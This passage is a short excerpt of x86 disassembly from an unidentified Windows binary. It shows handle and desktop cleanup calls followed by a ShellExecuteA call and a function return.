call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006db5
mov eax, dword [ebp - 0x370]
push eax
call dword [sym.imp.USER32.dll_CloseDesktop]
jmp 0x10006dc6
mov ecx, dword [ebp - 0x370]
push ecx
call dword [sym.imp.USER32.dll_CloseDesktop]
mov al, 1
jmp 0x10006de1
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0x10089294
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 8